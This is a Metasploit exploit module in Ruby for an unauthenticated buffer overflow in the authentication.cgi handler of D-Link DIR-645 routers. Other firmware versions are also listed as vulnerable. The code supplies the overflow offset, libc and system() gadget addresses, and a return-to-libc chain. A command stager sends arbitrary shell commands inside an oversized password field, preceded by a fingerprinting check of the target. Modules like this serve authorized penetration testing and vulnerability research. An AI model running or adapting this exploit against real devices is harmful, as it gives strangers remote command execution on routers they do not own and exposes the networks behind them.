require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerEcho
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link authentication.cgi Buffer Overflow',
'Description'=> %q{
This module exploits an remote buffer overflow vulnerability on several D-Link routers.
The vulnerability exists in the handling of HTTP queries to the authentication.cgi with
long password values. The vulnerability can be exploitable without authentication. This
module has been tested successfully on D-Link firmware DIR645A1_FW103B11. Other firmwares
such as the DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable.
},
'Author' =>
[
'Roberto Paleari',
'Craig Heffner',
'Michael Messner <devnull[at]s3cur1ty.de>',
],
'License'=> MSF_LICENSE,
'Platform' => ['linux'],
'Arch' => ARCH_MIPSLE,
'References' =>
[
['OSVDB', '95951'],
['EDB', '27283'],
['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008'],
['URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000'],
['URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt']
],
'Targets'=>
[
[ 'D-Link DIR-645 1.03',
{
'Offset'=> 1011,
'LibcBase'=> 0x2aaf8000,
'System'=> 0x000531FF,
'CalcSystem'=> 0x000158C8,
'CallSystem'=> 0x000159CC,
}
]
],
'DisclosureDate' => 'Feb 08 2013',
'DefaultTarget' => 0))
end
def check
begin
res = send_request_cgi({
'uri' => "/authentication.cgi",
'method'=> 'GET'
})
if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /status.*uid/
return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Unknown
end
def exploit
print_status("#{peer} - Accessing the vulnerable URL...")
unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
end
print_status("#{peer} - Exploiting...")
execute_cmdstager(
:linemax => 200,
:concat_operator => " && "
)
end
def prepare_shellcode(cmd)
shellcode = rand_text_alpha_upper(target['Offset'])
shellcode << [target['LibcBase'] + target['System']].pack("V")
shellcode << rand_text_alpha_upper(16)
shellcode << [target['LibcBase'] + target['CallSystem']].pack("V")
shellcode << rand_text_alpha_upper(12)
shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V")
shellcode << rand_text_alpha_upper(16)
shellcode << cmd
end
def execute_command(cmd, opts)
shellcode = prepare_shellcode(cmd)
uid = rand_text_alpha(4)
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => "/authentication.cgi",
'cookie' => "uid=#{uid}",
'encode_params' => false,
'vars_post' => {
'uid'=> uid,
'password' => rand_text_alpha(3) + shellcode,
}
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end